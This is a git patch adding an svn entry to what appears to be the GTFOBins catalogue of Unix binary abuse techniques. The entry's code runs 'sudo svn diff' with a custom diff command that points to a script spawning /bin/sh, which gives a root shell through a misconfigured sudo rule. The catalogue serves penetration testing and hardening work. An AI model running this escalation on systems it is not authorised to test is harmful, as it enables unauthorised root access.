From 997eeb358a4a03b8f66cdf4a9b09a2084b2caa67 Mon Sep 17 00:00:00 2001 From: frissi0n Date: Mon, 11 Nov 2024 20:56:46 +0000 Subject: [PATCH] Add svn --- _gtfobins/svn.md | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 _gtfobins/svn.md diff --git a/_gtfobins/svn.md b/_gtfobins/svn.md new file mode 100644 index 0000000..71b49fc --- /dev/null +++ b/_gtfobins/svn.md @@ -0,0 +1,11 @@ +--- +functions: + sudo: + - code: | + TD=$(mktemp -d) + svnadmin create $TD/pwn + svn checkout file:///$TD/pwn $TD/project + echo -e '#!/bin/bash\n/bin/sh' > $TD/shell + chmod +x $TD/shell + sudo svn diff --diff-cmd "$TD/shell" +---